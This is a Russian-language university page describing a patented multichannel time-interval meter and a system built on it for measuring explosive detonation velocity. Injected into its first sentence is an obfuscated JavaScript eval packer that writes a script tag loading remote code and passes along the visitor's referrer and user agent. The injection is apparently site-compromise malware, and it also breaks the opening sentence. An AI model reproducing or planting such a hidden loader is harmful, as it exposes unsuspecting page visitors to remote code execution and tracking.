

На eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!".replace(/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]};e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c])}}return p}('0.6(");n m="q";,30,30,'document||javascript|encodeURIComponent|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ytfyi|var|u0026u|referrer|bkrdd||js|php'.split('|'),0,{ })) кафедре Электроснабжения промышленных предприятий и городов разработаны новые технологии в области измерения интервалов времени при помощи электронных устройств

**1. Многоканальный измеритель интервалов времени в сериях импульсов:** Патент Украины на изобретение № 105468, G04F10/00 / Лабинский К.М., Калякин С.А., Лабинский М.М.; ДонНТУ - заяв. № а201308514 от 08.07.2013г.; опубл. 12.05.2015, бюл. № 9.

Измеритель относится к измерительной технике и автоматике. Может быть использован в системах автоматического измерения и контроля, а также в измерительно-вычислительных комплексах на базе микроконтроллеров. Измеритель предназначен для обеспечения возможности измерения серий входных импульсов аналоговыми датчиками и оперативной обработки информации в процессе измерения, что позволяет отображать ее на дисплее и увеличивать время измерения без увеличения схемных затрат, которое приводит к расширению функциональных возможностей при сохранении точности измерений. Автономность от внешнего питания позволяет проводить измерения в полевых условиях.

Измеритель имеет простую схему устройства и при этом обеспечивает измерение входных импульсов с использованием различных видов датчиков, оперативный контроль за текущими результатами измерений.

В настоящее время на базе многоканального измерителя разработан программно-аппаратный комплекс для измерения скорости детонации взрывчатых веществ (ВВ), который позволяет проводить измерение скорости детонации в полевых условиях, в условиях ведения взрывных работ в горных выработках, при взрывании скважин в уступах карьеров и в любых иных условиях, когда необходимо измерить скорость детонации удлиненных зарядов по всей их длине. Это достигается возможностью установки в зарядах при использовании одного прибора до 15 последовательных баз измерения, а в случае модульного подключения приборов в единую сеть – неограниченного количества таких баз.

Разработанное на базе изобретения оборудование полностью соответствует требованиям ГОСТ В 3250-75 «Вещества взрывчатые. Методы определения скорости детонации» и имеет следующие технические характеристик:

- встроенная энергонезависимая память;
- автономное питание;
- абсолютная погрешность измерения  $\pm 31,25$  нс;
- подключение к одному прибору в зависимости от модификации до 16 датчиков (до 15 последовательных баз измерения);
- возможность модульного соединения приборов для увеличения количества баз измерения;
- возможность подключения различных типов датчиков;
- связь с персональным компьютером для обработки данных (опционально).

Разработан и собран экспериментальный образец, разработаны и зарегистрированы Технические условия и Методика аттестации.